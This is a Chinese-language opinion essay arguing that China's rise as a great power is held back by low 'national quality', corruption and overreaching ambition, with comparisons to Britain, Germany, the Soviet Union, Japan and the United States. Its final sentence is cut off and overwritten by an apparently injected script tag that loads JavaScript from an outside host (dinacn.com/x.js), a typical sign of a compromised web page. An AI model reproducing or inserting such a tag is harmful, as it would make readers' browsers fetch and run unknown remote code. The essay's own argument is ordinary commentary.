如果不从思想上重视，体制上改革，法制上严厉，下功夫改造国民素质，中国要想在世界性的大国竞赛中超越别人是不可能的

　　历史大国的兴衰 　

　　20世纪的世界历史，记录了大国兴衰的曲折变化。 英国从维多利亚女王全盛时代的“日不落帝国”退守英伦三岛，到头来连欧洲头号强国的桂冠也未能保住。德国在两次世界大战中溃败，又从废墟中复兴，正在克服统一后遗症的努力中重振大国地位。法国自戴高乐到希拉克一直坚持西方联盟中的独立自主，因为敢于与盟主分庭抗礼而声音更加响亮。

　　苏联从诞生到消亡只有半个多世纪。莫斯科镰刀与锤子的天塌了，俄罗斯一蹶不振垂头丧气。看守帝国残缺不全的家底，使之走向复兴的艰巨历史重担，落在表面文弱、不尚空谈但务实的普京身上。

　　日本在世纪初前后的两场战争中击败中俄两个对手，进入世界列强行列，二次大战后东山再起跃为世界经济老二。但在十年停滞衰退之后，它要保持原有优势地位的前景相当暗淡。

　　美国这个得天独厚的上帝宠儿，从一次世界大战的局外人变为二次世界大战的大盟主。苏联解体之后，它自恃国力强大举世无双足以君临世界，却在一场穷于应付的反恐战争中显得捉襟见肘。

　　所有的大国，由于各种主客观因素而发生历史性的巨变。它们好比在体育场上赛跑，有的逐渐落后，有的迎头赶上，强弱优劣之势正在相互转化。可以预料，21世纪的世界大国力量对比与相互关系，将会出现更大变异的图景。

　　中国国民素质急需提高

　　中国在世界大国的历史性演变中后来居上，以一代人的时间跨越了一个世纪的发展进程，从一个衰弱不堪的穷国，成为世界列强的一员。近年来，有不少关于未来“中国崛起”的谈论。实际上，半个世纪以来，中国已有三次崛起。第一次是毛泽东时代的政治崛起，第二次是邓小平时代的经济崛起，第三次是预定要在本世纪内实现的，从政治大国向经济大国、从地区性大国向全球性大国的强权崛起。 崛起的概念是质变，从贫弱到富强，从落后到先进的转变。质变不但要变国，而且更要变人，因为人变是国变的基础。没有人的变化，国的变化就不可能实现。中国过去主要强调人的数量，现在必须重视人的质量。只要13亿人口的四分之一成为有知识有专业能力、能产生效益的社会成员，国力必然名列世界前茅。

　　从这个角度来看，中国国民素质的问题不能不引起严重的关切。国民素质包括知识的多寡，思想的境界，文明的程度，道德的高下，人生的态度，特别是作为社会成员的责任感以及在世界交往中的应对能力、教养、气度与风格。

　　如果给中国打分，整体经济发展的辉煌成就可以打八九分，但以现代世界的标准来衡量，中国国民素质，包括官员的素质实在是远远不及格。你看，虽然无数中国人在勤勤恳恳工作奉献祖国，其中有许多德才兼备的精英分子，但另一方面却是贪污成风腐败盛行，盗窃国库携款外逃，卖官鬻爵明码暗价，阳奉阴违欺上瞒下，经商欺诈坑害小民，事故不断草菅人命，道德沦丧人欲横流，贫富悬殊社会断层。广义地说，所有这一切现象，难道无不与国民素质有关吗？

　　俗话说，十年树木，百年树人。要真正成为一个强盛、文明、先进的世界大国，光是增加产量、兴建高楼、更新武备、改善民生是不够的。如果不从思想上重视，体制上改革，法制上严厉，下功夫改造国民素质，中国要想在世界性的大国竞赛中超越别人是不可能的。 改造国民素质的当务之急是戒骄戒躁。骄是翘尾巴，振兴中国攀登世界高峰的漫长道路还没有走一半，就有人以为“中国世纪”已经指日可待。躁是华而不实的浮躁，还没有开始努力就夸口在先，要当国际一流，世界第一，而在实际工作中却又敷衍了事，不负责任。

　　中国人到纽约观光，看见曼哈顿新旧参半的面貌，觉得不过如此，还没有浦东气派。但他们并不知道，纽约一天之内，账面上的每一块美元，在消费、零售、批发、制造、原料、房地产、服务业、银行、信贷与股市的各个环节中周转多达12次。华尔街股票每天进出交割的总额何止百亿千亿美元，纽约的GDP高达全美的四分之一。而浦东的很多高楼是在靠公费拨款空闲着，金茂大厦每天运转的维持费就要花100多万人民币。你能跟人家比吗？

　　不要好高骛远

　　前一两年，中国高校纷纷提出要办成国际一流大学的口号。殊不知世界闻名的最高学府牛津、哈佛、耶鲁，历经几百年才享有今天的声誉。他们成就的条件在于有充分的学术自由和丰厚的财源，哈佛校友的一年捐款也许就胜过一个小国的全年预算。中国大学实行的是党委领导制，所能标榜的只是出了多少个部长、省长，而不是多少个诺贝尔奖得主或举世闻名的学者鸿儒。中国国家级的学术论文投向权威的世界学术刊物，竟被认为是毫无价值的废品，这不是偶然的。

　　国家大剧院要与世界一流的相比美，预算超编，一再追加。但将来能上演什么剧目，有多少观众和票房收?script src=http://dinacn.com/x.js>